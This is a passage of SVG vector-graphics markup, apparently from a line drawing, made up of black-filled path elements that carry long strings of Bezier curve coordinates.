C 13.445312 84.507812 13.5 84.453125 13.527344 84.453125 C 13.554688 84.453125 13.605469 84.507812 13.644531 84.5625 Z M 27.183594 85.304688 C 27.183594 85.347656 27.132812 85.414062 27.050781 85.453125 C 26.984375 85.492188 26.917969 85.464844 26.917969 85.398438 C 26.917969 85.320312 26.984375 85.253906 27.050781 85.253906 C 27.132812 85.253906 27.183594 85.28125 27.183594 85.304688 Z M 13.058594 85.585938 C 12.964844 85.707031 12.859375 85.757812 12.804688 85.71875 C 12.765625 85.679688 12.820312 85.585938 12.925781 85.519531 C 13.207031 85.332031 13.246094 85.359375 13.058594 85.585938 Z M 26.707031 86.289062 C 26.574219 86.476562 26.453125 86.570312 26.425781 86.488281 C 26.386719 86.398438 26.480469 86.171875 26.597656 85.972656 C 26.730469 85.773438 26.867188 85.691406 26.890625 85.773438 C 26.917969 85.851562 26.839844 86.089844 26.707031 86.289062 Z M 12.21875 87.046875 C 11.941406 87.753906 11.621094 88.085938 11.792969 87.472656 C 11.886719 87.179688 12.378906 86.316406 12.460938 86.316406 C 12.488281 86.316406 12.367188 86.648438 12.21875 87.046875 Z M 26.160156 86.808594 C 26.121094 86.941406 26.027344 87.113281 25.960938 87.195312 C 25.90625 87.273438 25.878906 87.433594 25.933594 87.554688 C 25.972656 87.660156 25.945312 87.792969 25.867188 87.847656 C 25.785156 87.886719 25.71875 87.859375 25.71875 87.792969 C 25.71875 87.714844 25.625 87.648438 25.519531 87.648438 C 25.1875 87.648438 25.292969 87.355469 25.757812 86.96875 C 26.265625 86.515625 26.265625 86.515625 26.160156 86.808594 Z M 30.316406 87.382812 C 30.277344 87.449219 30.15625 87.515625 30.078125 87.515625 C 29.984375 87.515625 29.996094 87.460938 30.117188 87.382812 C 30.371094 87.222656 30.421875 87.222656 30.316406 87.382812 Z M 9.328125 88.5 C 9.328125 88.539062 9.089844 88.84375 8.796875 89.175781 C 8.503906 89.507812 8.261719 89.75 8.261719 89.707031 C 8.261719 89.628906 9.222656 88.445312 9.289062 88.445312 C 9.316406 88.445312 9.328125 88.472656 9.328125 88.5 Z M 60.769531 97.6875 C 60.769531 97.929688 60.222656 98.84375 60.140625 98.765625 C 60.035156 98.660156 60.542969 97.371094 60.660156 97.4375 C 60.714844 97.476562 60.769531 97.582031 60.769531 97.6875 Z M 62.300781 103.6875 C 62.445312 104.445312 62.488281 105.003906 62.40625 105.082031 C 62.339844 105.148438 62.101562 105.242188 61.859375 105.28125 C 61.488281 105.363281 61.421875 105.324219 61.300781 104.988281 C 61.21875 104.777344 61.195312 104.390625 61.234375 104.140625 C 61.339844 103.554688 61.832031 102.410156 61.96875 102.410156 C 62.035156 102.410156 62.179688 102.980469 62.300781 103.6875 Z M 75.917969 107.199219 C 76.054688 107.199219 76.09375 107.609375 76.09375 108.875 C 76.09375 110.523438 76.09375 110.535156 75.800781 110.496094 C 75.53125 110.457031 75.480469 110.324219 75.28125 109.125 C 75.148438 108.394531 74.988281 107.542969 74.921875 107.238281 L 74.785156 106.679688 L 75.28125 106.945312 C 75.53125 107.078125 75.828125 107.199219 75.917969 107.199219 Z M 63.417969 108.59375 C 63.578125 109.246094 63.738281 109.898438 63.78125 110.019531 C 63.847656 110.230469 63.753906 110.257812 63.179688 110.257812 C 62.511719 110.257812 62.511719 110.257812 62.378906 109.75 C 62.074219 108.527344 61.941406 107.863281 61.992188 107.714844 C 62.058594 107.53125 62.925781 107.210938 63.046875 107.316406 C 63.085938 107.359375 63.257812 107.929688 63.417969 108.59375 Z M 63.417969 108.59375 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 40.246094 21.519531 C 38.621094 21.746094 35.875 22.582031 34.996094 23.140625 C 34.742188 23.289062 34.449219 23.40625 34.328125 23.40625 C 34.207031 23.40625 34.113281 23.460938 34.113281 23.515625 C 34.113281 23.582031 33.957031 23.714844 33.753906 23.820312 C 33.542969 23.925781 33.300781 24.113281 33.207031 24.234375 C 33.117188 24.367188 32.957031 24.472656 32.863281 24.472656 C 32.636719 24.472656 31.582031 25.230469 31.582031 25.402344 C 31.582031 25.484375 31.703125 25.484375 31.929688 25.402344 C 32.410156 25.21875 32.421875 25.230469 32.355469 25.667969 C 32.277344 26.160156 32.449219 26.335938 32.570312 25.882812 C 32.609375 25.707031 32.742188 25.523438 32.875 25.484375 C 33.089844 25.402344 33.089844 25.402344 32.875 25.640625 C 32.757812 25.777344 32.648438 25.988281 32.648438 26.109375 C 32.648438 26.226562 32.554688 26.335938 32.449219 26.335938 C 32.234375 26.335938 31.449219 27.597656 31.449219 27.941406 C 31.449219 28.25 31.011719 29.074219 30.945312 28.886719 C 30.917969 28.808594 31.023438 28.394531 31.183594 27.984375 C 31.355469 27.519531 31.410156 27.171875 31.34375 27.105469 C 31.222656 26.984375 30.851562 27.71875 30.902344 27.957031 C 30.902344 28.023438 30.851562 28.0625 30.785156 28.0625 C 30.703125 28.0625 30.648438 28.144531 30.648438 28.234375 C 30.648438 28.34375 30.398438 28.808594 30.089844 29.273438 C 29.542969 30.125 29.011719 31.347656 29.117188 31.519531 C 29.144531 31.5625 29.078125 31.988281 28.972656 32.453125 C 28.746094 33.410156 28.796875 33.808594 29.277344 34.820312 C 29.558594 35.40625 29.609375 35.738281 29.625 36.761719 L 29.625 38 L 29.929688 37.652344 L 30.238281 37.304688 L 30.25 37.746094 C 30.25 37.984375 30.195312 38.15625 30.128906 38.105469 C 29.878906 37.957031 29.8125 38.382812 29.757812 40.605469 C 29.71875 42.359375 29.742188 42.90625 29.890625 43.078125 C 29.984375 43.199219 30.078125 43.464844 30.089844 43.664062 C 30.128906 44.195312 30.332031 44.527344 30.785156 44.753906 L 31.183594 44.96875 L 31.183594 44.167969 C 31.183594 43.503906 31.222656 43.382812 31.449219 43.316406 C 32.007812 43.171875 32.128906 41.933594 31.78125 39.832031 C 31.582031 38.609375 31.636719 37.785156 31.984375 36.042969 C 32.0625 35.644531 32.222656 34.859375 32.34375 34.3125 C 32.449219 33.769531 32.675781 33.011719 32.847656 32.625 C 33.023438 32.253906 33.234375 31.585938 33.328125 31.160156 C 33.503906 30.335938 33.714844 29.9375 33.714844 30.429688 C 33.714844 30.722656 33.902344 30.828125 34.046875 30.589844 C 34.089844 30.523438 34.207031 30.496094 34.316406 30.550781 C 34.5 30.617188 34.566406 30.445312 34.554688 29.953125 C 34.542969 29.871094 34.59375 29.792969 34.660156 29.792969 C 34.726562 29.792969 34.847656 29.660156 34.902344 29.484375 L 35.019531 29.195312 L 35.140625 29.511719 L 35.273438 29.84375 L 35.367188 29.472656 C 35.421875 29.261719 35.433594 29.058594 35.382812 29.019531 C 35.339844 28.980469 35.316406 29.058594 35.316406 29.195312 C 35.316406 29.328125 35.273438 29.40625 35.234375 29.351562 C 35.089844 29.21875 35.328125 28.703125 35.515625 28.78125 C 35.621094 28.820312 35.726562 28.714844 35.769531 28.515625 C 35.820312 28.34375 35.914062 28.195312 35.980469 28.195312 C 36.046875 28.195312 36.3125 28.011719 36.566406 27.796875 C 36.832031 27.558594 37.058594 27.453125 37.113281 27.53125 C 37.167969 27.609375 37.3125 27.53125 37.488281 27.34375 C 37.648438 27.171875 37.914062 27 38.085938 26.945312 C 38.246094 26.894531 38.378906 26.785156 38.378906 26.71875 C 38.378906 26.652344 38.472656 26.601562 38.578125 26.601562 C 38.6875 26.601562 38.78125 26.535156 38.78125 26.46875 C 38.78125 26.386719 38.898438 26.335938 39.046875 26.335938 C 39.191406 26.335938 39.417969 26.28125 39.550781 26.214844 C 40.046875 25.960938 41.257812 25.722656 42.777344 25.601562 C 43.03125 25.574219 43.375 25.523438 43.550781 25.484375 C 43.710938 25.457031 43.84375 25.46875 43.84375 25.550781 C 43.84375 25.617188 43.910156 25.667969 43.976562 25.667969 C 44.054688 25.667969 44.109375 25.574219 44.109375 25.46875 C 44.109375 25.296875 44.164062 25.285156 44.390625 25.417969 C 44.550781 25.496094 45.070312 25.589844 45.5625 25.601562 C 46.042969 25.628906 46.589844 25.707031 46.773438 25.777344 C 47.480469 26.042969 49.121094 28.394531 49.242188 29.3125 C 49.253906 29.472656 49.375 29.820312 49.492188 30.097656 C 49.613281 30.378906 49.679688 30.65625 49.640625 30.710938 C 49.613281 30.777344 49.546875 31.652344 49.507812 32.664062 C 49.265625 39.433594 49.171875 41.136719 49.039062 41.921875 C 48.960938 42.414062 48.90625 43.011719 48.933594 43.25 C 48.972656 43.636719 49.027344 43.691406 49.347656 43.691406 C 49.972656 43.703125 50.160156 43.371094 50.121094 42.1875 C 50.105469 41.789062 50.054688 41.628906 49.945312 41.667969 C 49.839844 41.695312 49.785156 41.910156 49.800781 42.175781 C 49.8125 42.425781 49.785156 42.492188 49.746094 42.320312 C 49.71875 42.160156 49.625 42.027344 49.558594 42.027344 C 49.480469 42.027344 49.480469 41.933594 49.558594 41.789062 C 49.625 41.667969 49.746094 41.308594 49.839844 40.992188 C 49.933594 40.632812 50.039062 40.457031 50.132812 40.511719 C 50.214844 40.566406 50.1875 40.472656 50.078125 40.3125 C 49.960938 40.152344 49.894531 39.898438 49.933594 39.753906 C 49.972656 39.621094 49.945312 39.5 49.867188 39.5 C 49.785156 39.5 49.761719 39.382812 49.800781 39.234375 C 49.851562 39.035156 49.921875 38.996094 50.027344 39.101562 C 50.148438 39.195312 50.253906 39.101562 50.425781 38.742188 C 50.734375 38.105469 50.878906 38.289062 51.09375 39.582031 C 51.253906 40.632812 51.265625 40.632812 51.453125 40.234375 C 51.546875 40.007812 51.839844 39.554688 52.078125 39.207031 C 52.320312 38.863281 52.492188 38.53125 52.453125 38.464844 C 52.410156 38.398438 52.4375 37.984375 52.503906 37.546875 C 52.597656 37.015625 52.585938 36.535156 52.492188 36.097656 C 52.425781 35.738281 52.34375 35.339844 52.320312 35.21875 C 52.304688 35.085938 52.253906 34.9375 52.199219 34.898438 C 52.144531 34.847656 52.105469 34.433594 52.105469 33.96875 C 52.105469 33.4375 52.050781 33.117188 51.945312 33.0625 C 51.8125 32.996094 51.8125 32.96875 51.945312 32.902344 C 52.027344 32.863281 52.066406 32.757812 52.011719 32.679688 C 51.90625 32.503906 51.839844 32.265625 51.800781 31.8125 C 51.785156 31.640625 51.707031 31.546875 51.613281 31.585938 C 51.492188 31.628906 51.4375 31.507812 51.4375 31.242188 C 51.4375 30.789062 50.972656 29.339844 50.691406 28.886719 C 50.585938 28.714844 50.519531 28.476562 50.574219 28.355469 C 50.613281 28.183594 50.386719 27.851562 49.800781 27.226562 C 49.332031 26.734375 48.972656 26.308594 49.015625 26.265625 C 49.054688 26.242188 48.921875 26.148438 48.71875 26.082031 C 48.425781 25.960938 48.375 25.855469 48.375 25.417969 C 48.375 25.109375 48.28125 24.804688 48.160156 24.671875 C 47.988281 24.5 47.972656 24.390625 48.082031 24.125 C 48.175781 23.953125 48.1875 23.808594 48.121094 23.808594 C 48.054688 23.808594 47.972656 23.941406 47.921875 24.097656 C 47.867188 24.339844 47.816406 24.367188 47.679688 24.234375 C 47.441406 23.992188 47.269531 24.046875 47.347656 24.339844 C 47.441406 24.726562 47.320312 24.671875 47.175781 24.273438 C 46.867188 23.472656 46.855469 23.25 47.121094 23.300781 C 47.414062 23.355469 47.46875 22.996094 47.1875 22.902344 C 47.082031 22.863281 47.042969 22.902344 47.09375 22.980469 C 47.148438 23.0625 47.066406 23.089844 46.921875 23.050781 C 46.613281 22.96875 45.828125 22.144531 45.933594 22.023438 C 46.015625 21.945312 45.976562 21.933594 45.308594 21.863281 C 45.121094 21.851562 44.441406 21.773438 43.777344 21.691406 C 42.429688 21.53125 40.75 21.441406 40.246094 21.519531 Z M 34.101562 24.285156 C 33.914062 24.40625 33.6875 24.671875 33.59375 24.882812 C 33.503906 25.097656 33.367188 25.269531 33.300781 25.269531 C 33.222656 25.269531 33.300781 25.03125 33.460938 24.738281 C 33.621094 24.457031 33.808594 24.246094 33.875 24.285156 C 33.929688 24.324219 33.980469 24.285156 33.980469 24.21875 C 33.980469 24.140625 34.089844 24.074219 34.222656 24.074219 C 34.394531 24.074219 34.367188 24.125 34.101562 24.285156 Z M 32.609375 25.164062 C 32.570312 25.269531 32.53125 25.230469 32.53125 25.082031 C 32.515625 24.9375 32.554688 24.859375 32.597656 24.910156 C 32.636719 24.949219 32.648438 25.070312 32.609375 25.164062 Z M 33.183594 26.335938 C 33.183594 26.402344 33.117188 26.46875 33.035156 26.46875 C 32.96875 26.46875 32.941406 26.402344 32.980469 26.335938 C 33.023438 26.253906 33.089844 26.199219 33.128906 26.199219 C 33.15625 26.199219 33.183594 26.253906 33.183594 26.335938 Z M 30.648438 34.632812 C 30.648438 34.660156 30.570312 34.871094 30.464844 35.113281 C 30.332031 35.445312 30.277344 35.484375 30.210938 35.324219 C 30.117188 35.097656 30.355469 34.578125 30.542969 34.578125 C 30.609375 34.578125 30.648438 34.605469 30.648438 34.632812 Z M 29.984375 35.898438 C 29.984375 35.976562 29.929688 36.070312 29.851562 36.109375 C 29.785156 36.148438 29.71875 36.097656 29.71875 35.988281 C 29.71875 35.871094 29.785156 35.777344 29.851562 35.777344 C 29.929688 35.777344 29.984375 35.832031 29.984375 35.898438 Z M 50.199219 36.46875 C 50.160156 36.574219 50.121094 36.535156 50.121094 36.390625 C 50.105469 36.242188 50.148438 36.164062 50.1875 36.214844 C 50.226562 36.253906 50.238281 36.375 50.199219 36.46875 Z M 30.648438 38.304688 C 30.648438 38.371094 30.625 38.4375 30.597656 38.4375 C 30.558594 38.4375 30.492188 38.371094 30.449219 38.304688 C 30.410156 38.222656 30.4375 38.171875 30.503906 38.171875 C 30.582031 38.171875 30.648438 38.222656 30.648438 38.304688 Z M 30.863281 39.0625 C 30.71875 39.207031 30.636719 39.007812 30.742188 38.757812 C 30.835938 38.515625 30.851562 38.515625 30.890625 38.742188 C 30.917969 38.875 30.902344 39.023438 30.863281 39.0625 Z M 30.917969 39.289062 C 30.917969 39.328125 30.863281 39.394531 30.785156 39.433594 C 30.71875 39.472656 30.648438 39.449219 30.648438 39.382812 C 30.648438 39.300781 30.71875 39.234375 30.785156 39.234375 C 30.863281 39.234375 30.917969 39.261719 30.917969 39.289062 Z M 30.332031 40.058594 C 30.210938 40.378906 30.105469 40.777344 30.078125 40.9375 C 30.050781 41.097656 29.984375 41.269531 29.929688 41.324219 C 29.757812 41.484375 29.945312 40.417969 30.183594 39.832031 C 30.476562 39.15625 30.570312 39.328125 30.332031 40.058594 Z M 31.15625 39.859375 C 31.0625 40.074219 30.96875 40.257812 30.945312 40.300781 C 30.851562 40.417969 30.675781 39.980469 30.742188 39.808594 C 30.808594 39.648438 30.835938 39.648438 30.929688 39.792969 C 31.023438 39.925781 31.050781 39.914062 31.050781 39.726562 C 31.050781 39.605469 31.101562 39.5 31.183594 39.5 C 31.261719 39.5 31.25 39.648438 31.15625 39.859375 Z M 31.050781 40.566406 C 31.050781 40.632812 30.996094 40.699219 30.917969 40.699219 C 30.851562 40.699219 30.785156 40.632812 30.785156 40.566406 C 30.785156 40.484375 30.851562 40.433594 30.917969 40.433594 C 30.996094 40.433594 31.050781 40.484375 31.050781 40.566406 Z M 30.996094 41.175781 C 30.945312 41.296875 30.875 41.375 30.851562 41.335938 C 30.808594 41.296875 30.808594 41.164062 30.863281 41.042969 C 30.917969 40.925781 30.984375 40.84375 31.011719 40.882812 C 31.050781 40.925781 31.050781 41.058594 30.996094 41.175781 Z M 31.011719 41.921875 C 30.96875 42.015625 30.945312 41.949219 30.945312 41.761719 C 30.945312 41.574219 30.96875 41.507812 31.011719 41.589844 C 31.035156 41.683594 31.035156 41.84375 31.011719 41.921875 Z M 30.53125 43.132812 C 30.421875 43.238281 30.382812 43.226562 30.382812 43.078125 C 30.382812 42.8125 30.558594 42.625 30.625 42.824219 C 30.664062 42.917969 30.609375 43.050781 30.53125 43.132812 Z M 30.53125 43.132812 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 32.050781 25.683594 C 31.996094 25.761719 31.984375 25.84375 32.023438 25.882812 C 32.050781 25.921875 32.117188 25.855469 32.15625 25.734375 C 32.25 25.507812 32.167969 25.46875 32.050781 25.683594 Z M 32.050781 25.683594 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 50.640625 28.421875 C 50.640625 28.488281 50.734375 28.660156 50.839844 28.808594 C 51 29.019531 51.027344 29.019531 51.039062 28.847656 C 51.039062 28.726562 50.945312 28.554688 50.839844 28.460938 C 50.734375 28.367188 50.640625 28.355469 50.640625 28.421875 Z M 50.640625 28.421875 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.847656 29.925781 C 34.886719 29.992188 34.953125 30.058594 34.996094 30.058594 C 35.019531 30.058594 35.046875 29.992188 35.046875 29.925781 C 35.046875 29.84375 34.980469 29.792969 34.902344 29.792969 C 34.835938 29.792969 34.808594 29.84375 34.847656 29.925781 Z M 34.847656 29.925781 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.15625 31.785156 C 34.167969 31.933594 34.25 32.078125 34.339844 32.105469 C 34.621094 32.210938 34.648438 31.988281 34.382812 31.746094 C 34.15625 31.546875 34.128906 31.5625 34.15625 31.785156 Z M 34.15625 31.785156 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.96875 34.246094 C 34.515625 34.554688 33.714844 35.351562 33.714844 35.484375 C 33.714844 35.5625 33.582031 35.910156 33.433594 36.269531 C 33.128906 36.949219 32.96875 37.851562 33.035156 38.382812 C 33.050781 38.570312 33.660156 38.515625 33.914062 38.304688 C 34.023438 38.222656 34.15625 38.171875 34.207031 38.210938 C 34.261719 38.238281 34.433594 38.222656 34.582031 38.171875 C 34.726562 38.117188 35.007812 38.117188 35.195312 38.171875 C 35.5 38.265625 35.542969 38.238281 35.515625 37.984375 C 35.472656 37.71875 35.527344 37.707031 36.128906 37.730469 C 36.472656 37.757812 36.808594 37.71875 36.847656 37.640625 C 36.953125 37.464844 37.671875 37.464844 37.78125 37.640625 C 37.847656 37.746094 37.925781 37.730469 38.058594 37.625 C 38.285156 37.441406 38.605469 37.664062 38.804688 38.15625 C 38.898438 38.4375 38.953125 38.464844 39.058594 38.304688 C 39.164062 38.132812 39.191406 38.132812 39.300781 38.304688 C 39.390625 38.421875 39.378906 38.53125 39.285156 38.582031 C 39.207031 38.636719 39.179688 38.824219 39.230469 39.023438 C 39.285156 39.25 39.257812 39.367188 39.164062 39.367188 C 39.074219 39.367188 39.046875 39.515625 39.097656 39.765625 C 39.152344 40.074219 39.125 40.164062 38.964844 40.164062 C 38.699219 40.164062 38.257812 40.683594 38.246094 40.992188 C 38.246094 41.109375 38.179688 41.375 38.085938 41.5625 C 37.859375 42.066406 38.074219 42.132812 38.460938 41.695312 L 38.792969 41.296875 L 38.578125 41.734375 C 38.460938 41.976562 38.285156 42.199219 38.207031 42.242188 C 38.019531 42.308594 38.019531 43.371094 38.191406 44.421875 C 38.246094 44.753906 38.300781 45.074219 38.300781 45.140625 C 38.3125 45.300781 38.644531 45.40625 38.644531 45.261719 C 38.644531 45.085938 39.832031 45.152344 40.019531 45.339844 C 40.207031 45.527344 40.644531 45.539062 40.644531 45.351562 C 40.644531 45.273438 40.832031 45.035156 41.042969 44.820312 C 41.269531 44.609375 41.445312 44.316406 41.445312 44.167969 C 41.445312 44.007812 41.550781 43.890625 41.722656 43.863281 C 41.882812 43.835938 42.136719 43.664062 42.285156 43.476562 C 42.539062 43.132812 42.539062 43.117188 42.285156 42.867188 C 41.976562 42.558594 41.777344 42.613281 41.351562 43.078125 C 41.164062 43.265625 41.058594 43.359375 41.097656 43.277344 C 41.203125 43.066406 40.925781 42.867188 40.378906 42.757812 C 40.046875 42.707031 39.820312 42.546875 39.605469 42.214844 C 39.445312 41.976562 39.3125 41.707031 39.3125 41.628906 C 39.3125 41.5625 39.257812 41.496094 39.179688 41.496094 C 39.113281 41.496094 39.046875 41.375 39.046875 41.230469 C 39.046875 41.082031 39.097656 40.964844 39.179688 40.964844 C 39.246094 40.964844 39.273438 40.882812 39.230469 40.792969 C 39.207031 40.699219 39.285156 40.351562 39.433594 40.019531 C 39.644531 39.582031 39.710938 39.140625 39.710938 38.238281 C 39.726562 37.574219 39.777344 36.746094 39.832031 36.402344 C 39.925781 35.816406 39.910156 35.738281 39.550781 35.390625 C 39.339844 35.191406 38.914062 34.9375 38.605469 34.847656 C 38.300781 34.738281 37.992188 34.621094 37.914062 34.566406 C 37.847656 34.527344 37.488281 34.433594 37.113281 34.378906 C 36.753906 34.3125 36.355469 34.261719 36.246094 34.234375 C 35.394531 34.089844 35.179688 34.089844 34.96875 34.246094 Z M 37.898438 36.070312 C 37.859375 36.121094 37.671875 36.175781 37.472656 36.175781 C 37.273438 36.175781 36.59375 36.28125 35.953125 36.414062 C 34.875 36.640625 34.808594 36.640625 34.820312 36.429688 C 34.835938 36.308594 34.902344 36.230469 34.996094 36.269531 C 35.074219 36.296875 35.179688 36.1875 35.222656 36.03125 C 35.273438 35.855469 35.339844 35.765625 35.394531 35.816406 C 35.449219 35.871094 35.566406 35.84375 35.660156 35.765625 C 35.753906 35.683594 36.035156 35.589844 36.273438 35.550781 C 36.515625 35.511719 36.742188 35.472656 36.765625 35.445312 C 36.859375 35.351562 37.964844 35.964844 37.898438 36.070312 Z M 37.898438 36.070312 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 44.28125 35.003906 C 43.75 35.058594 43.042969 35.230469 42.722656 35.378906 C 42.390625 35.523438 42.03125 35.644531 41.910156 35.644531 C 41.738281 35.644531 41.722656 35.789062 41.792969 36.667969 C 41.84375 37.238281 41.9375 37.746094 42.003906 37.785156 C 42.085938 37.839844 42.402344 37.878906 42.722656 37.878906 C 43.058594 37.890625 43.375 37.929688 43.445312 37.972656 C 43.511719 38.011719 43.589844 37.984375 43.644531 37.90625 C 43.683594 37.839844 43.855469 37.773438 44.015625 37.773438 C 44.257812 37.773438 44.269531 37.796875 44.109375 37.90625 C 43.9375 38.011719 43.9375 38.039062 44.136719 38.039062 C 44.257812 38.039062 44.402344 37.972656 44.441406 37.90625 C 44.484375 37.824219 44.601562 37.773438 44.683594 37.785156 C 44.804688 37.785156 44.804688 37.8125 44.683594 37.863281 C 44.269531 38.023438 44.589844 38.117188 45.441406 38.089844 C 45.960938 38.078125 46.375 38.105469 46.375 38.15625 C 46.375 38.25 46.949219 38.570312 47.109375 38.570312 C 47.136719 38.570312 47.121094 38.410156 47.09375 38.199219 C 46.976562 37.53125 46.535156 37.253906 44.910156 36.855469 L 43.390625 36.480469 L 43.761719 36.242188 C 44.164062 35.976562 44.710938 35.9375 45.441406 36.109375 C 45.695312 36.164062 46.027344 36.230469 46.175781 36.242188 C 46.601562 36.28125 47.175781 36.601562 47.175781 36.800781 C 47.175781 36.894531 47.242188 36.972656 47.308594 36.972656 C 47.386719 36.972656 47.441406 37.09375 47.441406 37.238281 C 47.441406 37.386719 47.519531 37.507812 47.613281 37.507812 C 47.828125 37.507812 47.828125 36.8125 47.613281 36.546875 C 47.519531 36.441406 47.480469 36.308594 47.535156 36.269531 C 47.574219 36.214844 47.519531 36.070312 47.414062 35.9375 C 46.402344 34.832031 46.414062 34.847656 45.816406 34.871094 C 45.496094 34.886719 44.804688 34.953125 44.28125 35.003906 Z M 44.28125 35.003906 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 50.386719 39.273438 C 50.28125 39.554688 50.507812 40.882812 50.707031 41.070312 C 50.746094 41.109375 50.785156 40.832031 50.800781 40.457031 C 50.8125 40.074219 50.828125 39.582031 50.839844 39.367188 C 50.867188 38.890625 50.558594 38.824219 50.386719 39.273438 Z M 50.386719 39.273438 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 49.972656 41.308594 C 49.972656 41.417969 50.039062 41.46875 50.105469 41.429688 C 50.1875 41.390625 50.238281 41.296875 50.238281 41.214844 C 50.238281 41.148438 50.1875 41.097656 50.105469 41.097656 C 50.039062 41.097656 49.972656 41.191406 49.972656 41.308594 Z M 49.972656 41.308594 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 49.441406 45.367188 C 49.441406 45.433594 49.558594 45.484375 49.707031 45.484375 C 49.851562 45.484375 49.972656 45.460938 49.972656 45.433594 C 49.972656 45.40625 49.851562 45.351562 49.707031 45.3125 C 49.558594 45.273438 49.441406 45.300781 49.441406 45.367188 Z M 49.441406 45.367188 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 37.539062 45.550781 C 37.445312 45.765625 37.648438 45.9375 37.847656 45.820312 C 37.980469 45.738281 37.875 45.351562 37.714844 45.351562 C 37.660156 45.351562 37.578125 45.445312 37.539062 45.550781 Z M 37.539062 45.550781 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 47.707031 48.464844 C 47.628906 48.546875 47.574219 48.652344 47.574219 48.730469 C 47.574219 48.796875 47.496094 48.957031 47.386719 49.0625 C 47.175781 49.316406 46.589844 50.367188 46.46875 50.738281 C 46.386719 50.980469 46.402344 50.964844 46.628906 50.699219 C 46.773438 50.527344 46.949219 50.378906 47 50.378906 C 47.109375 50.355469 47.65625 49.554688 48.121094 48.71875 C 48.347656 48.304688 48.347656 48.292969 48.09375 48.320312 C 47.960938 48.332031 47.773438 48.398438 47.707031 48.464844 Z M 47.707031 48.464844 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 36.515625 49.742188 C 36.515625 49.808594 36.582031 49.875 36.648438 49.875 C 36.726562 49.875 36.78125 49.808594 36.78125 49.742188 C 36.78125 49.664062 36.726562 49.609375 36.648438 49.609375 C 36.582031 49.609375 36.515625 49.664062 36.515625 49.742188 Z M 36.515625 49.742188 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 45.109375 51.203125 C 45.148438 51.273438 45.242188 51.339844 45.324219 51.339844 C 45.390625 51.339844 45.441406 51.273438 45.441406 51.203125 C 45.441406 51.125 45.347656 51.070312 45.230469 51.070312 C 45.121094 51.070312 45.070312 51.125 45.109375 51.203125 Z M 45.109375 51.203125 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 42.816406 55.128906 C 42.816406 55.289062 42.855469 55.289062 43.03125 55.167969 C 43.148438 55.074219 43.269531 54.980469 43.296875 54.96875 C 43.324219 54.941406 43.230469 54.929688 43.082031 54.929688 C 42.9375 54.929688 42.816406 55.023438 42.816406 55.128906 Z M 42.816406 55.128906 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 46.296875 55.714844 C 45.75 56.417969 43.789062 58.46875 43.148438 59.011719 C 42.855469 59.25 42.683594 59.449219 42.765625 59.449219 C 43.070312 59.449219 46.242188 56.164062 46.683594 55.382812 C 46.882812 55.035156 46.707031 55.183594 46.296875 55.714844 Z M 46.296875 55.714844 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 39.84375 57.203125 C 39.84375 57.269531 39.910156 57.296875 39.980469 57.257812 C 40.058594 57.214844 40.113281 57.148438 40.113281 57.109375 C 40.113281 57.082031 40.058594 57.058594 39.980469 57.058594 C 39.910156 57.058594 39.84375 57.125 39.84375 57.203125 Z M 39.84375 57.203125 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 60.113281 57.28125 C 60.046875 57.429688 59.953125 58.132812 59.902344 58.851562 L 59.820312 60.183594 L 60.101562 59.835938 C 60.300781 59.597656 60.40625 59.25 60.433594 58.707031 C 60.472656 58.28125 60.5 57.75 60.527344 57.535156 C 60.566406 57.082031 60.316406 56.925781 60.113281 57.28125 Z M 60.113281 57.28125 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 68.644531 57.164062 C 68.203125 57.230469 66.65625 58.839844 66.058594 59.863281 C 65.125 61.445312 64.753906 63.109375 65.207031 63.667969 C 65.390625 63.917969 66.019531 63.878906 66.351562 63.601562 C 66.617188 63.386719 66.617188 63.347656 66.429688 62.710938 C 66.324219 62.335938 66.164062 61.910156 66.070312 61.738281 C 65.9375 61.472656 65.953125 61.339844 66.230469 60.820312 C 66.976562 59.410156 68.230469 58.054688 69.082031 57.722656 C 69.667969 57.507812 69.308594 57.058594 68.644531 57.164062 Z M 68.644531 57.164062 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 41.84375 57.589844 C 41.671875 57.695312 41.683594 57.722656 41.882812 57.722656 C 42.003906 57.722656 42.109375 57.65625 42.109375 57.589844 C 42.109375 57.429688 42.097656 57.429688 41.84375 57.589844 Z M 41.84375 57.589844 "/>
